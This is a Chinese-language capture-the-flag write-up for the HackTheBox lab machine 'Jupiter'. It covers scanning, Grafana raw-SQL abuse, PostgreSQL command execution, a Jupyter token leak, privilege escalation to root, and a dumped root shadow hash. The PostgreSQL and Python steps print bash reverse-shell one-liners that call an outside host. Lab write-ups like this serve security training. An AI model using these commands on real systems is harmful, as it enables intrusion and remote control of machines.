基本信息
- https://app.hackthebox.com/machines/Jupiter
- 10.10.11.216
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.216 |
80
需要加hosts:
1 | 10.10.11.216 jupiter.htb |
一个天文学相关的官网:
子域名扫描
子域名扫描发现kiosk:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://jupiter.htb/" -H 'Host: FUZZ.jupiter.htb' -fs 178 |
kiosk
同样加hosts后访问,是一个grafana:
Grafana
直接查看history,发现query请求里直接使用rawSql:
直接修改sql语句,发现是postgresql:
postgresql to shell
postgresql可以直接执行操作系统命令:
- Command Execution with PostgreSQL Copy Command | by Nairuz Abulhul | R3d Buck3T | Medium
https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767
1 | CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.3/4444 0>&1\"' |
打到postgres shell:
然后直接写入公钥方便后续操作
信息
运行pspy之类会发现/dev/shm/network-simulation.yml文件,并且我们有写入权限:
那就可以修改其中内容来执行其他命令
1 | cd /dev/shm |
例如复制一个bash加suid:
小坑,目标目录是/dev/shm的时候,复制和加suid都成功,执行无效,换成tmp目录就正常了,euid是juno,但还是读不了user,因为user.txt的权限设置
但可以修改定时执行的sh文件:
1 | /tmp/bash -p |
然后juno用户也坑,应该是故意设置的,写公钥后也不能ssh
user flag
所以只能在juno的reverse shell里读user.txt:
信息
juno用户在science组,本地发现开放有8888端口,转发出来访问是一个jupyter,需要token:
1 | ssh postgres@10.10.11.216 -L 8888:127.0.0.1:8888 |
直接在对应日志里得到最新的token:
1 | grep -rie token /opt/solar-flares/logs | sort |
jovian
jupyter可以运行任意Python代码(用不同的端口避免前面juno那个sh文件里的干扰):
1 | import os; os.system('bash -c "bash -i >& /dev/tcp/10.10.14.3/4445 0>&1"'); |
得到的是jovian用户,写公钥方便后续操作
提权信息
可以sudo运行sattrack文件,这个文件当前用户有写权限可以直接修改:
预期
文件权限设置错误导致的非预期,预期是strace发现sattrick从/tmp读取配置,并且有一个默认配置文件,复制过去,修改其中URL来写入本地文件:
- HackTheBox - Jupiter - YouTube
https://www.youtube.com/watch?v=HOvVjVw3pww&ab_channel=IppSec
提权 & root flag
那就可以直接复制个bash:
shadow
1 | root:$y$j9T$IW34JPHywVa4Fs590kLAs1$L2hNBUYic4PnYnxpIGE7HXzv.DaeGC4eLE9KJOU6f77:19482:0:99999:7::: |
参考资料
- Command Execution with PostgreSQL Copy Command | by Nairuz Abulhul | R3d Buck3T | Medium
https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767 - HackTheBox - Jupiter - YouTube
https://www.youtube.com/watch?v=HOvVjVw3pww&ab_channel=IppSec